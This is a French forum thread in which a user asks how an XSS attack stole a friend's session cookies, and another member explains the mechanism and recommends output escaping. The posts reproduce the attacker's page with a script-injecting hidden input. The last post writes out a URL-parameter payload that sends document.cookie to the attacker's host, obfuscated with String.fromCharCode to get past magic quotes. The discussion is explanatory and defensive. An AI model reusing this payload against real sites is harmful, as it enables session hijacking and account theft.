Page 1 sur 1

Code HTML pour exploiter une Faille XSS

Posté : 28 août 2012, 10:59
par jonjojo007
Bonjour,

j'aurai voulut qu'on m'explique le fonctionnement d'un bout de code html dans l'exploitation d'une faille XSS ou le mec récupère les cookies.

Le bout de code de l'url : http://blabla.free.fr
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" >
  <head>
    <meta name="description" content="" />

            <div><input id="searchBox" name="search" autocomplete="off" role="textbox" aria-autocomplete="list" aria-haspopup="true" class="input_search" type="hidden" value='</div><script>document.location="http://blabla.free.fr/</script>'/>
            <center><input type="image" src="image.jpg" class="submit" value="Go !" /></div></center>
          </form>
        </div>
</body>
</html>
J'arrive pas à comprendre ce que ce code fait, mais un ami c'est fait avoir en étant redirigé sur ce site, et le mec qui lui a envoyé un message avec une url bidouillée je pense a récupéré son compte via ses cookies sur un autre site.

La faille sur l'autre site est du style : http://www.site.com/page.php?titre="><s ... .location=.....

Merci.

Re: Code HTML pour exploiter une Faille XSS

Posté : 28 août 2012, 12:18
par moogli
salut,

en gros tu inclus un passage de javascript dans une page existante.
a priori ici il récupère un fichier JS contenant tout ce dont il a besoin pour faire ce qu'il veux.

Il faut savoir que tu ne peux récupérer les cookie que de ton domaine. sauf que dans le cas précis, vue que la page qui s'affiche est sur le bon domaine (le traitement est fait par la bonne page, l'origine du script n'est pas vérifié).

le script peux donc lire a volontés les infos stockées par le site sur le navigateur (dont les cookie de sessions par exemple) si en plus le site en question enregistre le nom d'utilisateur et le mot de passe dans le cookie c'est la fête ;).

lorsque le script JS à finit sa collecte il peux faire une petite requête ajax, vers un autre script qui va enregistrer la chose.

comment s'en prémunir ?

il faut toujours utiliser htmlentities ou htmlspecialchars lorsque l'on affiche des données que l'on ne maîtrise pas (typiquement les choses saisies sur un forum, des commentaires etc etc).

que font ces fonctions ? elles vont remplacer certains caractères par leur équivalent HTML, par exemple <> remplacer par > et <.

J'ai parlé de formulaire (commentaire etc) mais la chose est la même avec les variables d'url. l'exemple que tu indique utilise une variable d'url "titre", et si derrier tu faireun simple echo $_GET['titre']; op tu a créé une faille.

le lien du site free emmène vers quelque chose de litigieux la, c'est quoi ?

ton exemple html n'est pas confirme a la structure d'un document html (pas de /head pas de <body> etc etc


@+

Re: Code HTML pour exploiter une Faille XSS

Posté : 28 août 2012, 13:33
par jonjojo007
Le fonctionnement je le comprend parfaitement, j'essayais juste de comprendre à quoi servais le bout de code html de la page du site qui a fait la faille.

En fin de compte le code a été changé depuis du coup c'est normal que je comprenais pas. Le gars qui s'est fait prendre a retrouvé dans son historique l'url et le code source qu'il avait chopé du site était pas le même que maintenant.

Le gars avec son site free qu'il a envoyé a la personne à piéger utilisait un champ hidden pour faire un document.location vers le site qui a la faille. Et dans l'url il y avait page.php?var=\"><script>document.location=document.referrer+++string.fromcharcode(105,110,100,101,120,50,46,112,104,112,63,118,61)+++document.cookie</script>

Ca renvoyait donc sur le free du mec (referrer), il avait un index2.php dans lequel il avait juste à s'envoyer un mail avec le paramètre $_GET['v'] contenant le cookie.

Il a utilisé document.referrer et fromcharcode car le site avait les magic quote du coup ça les backslashait.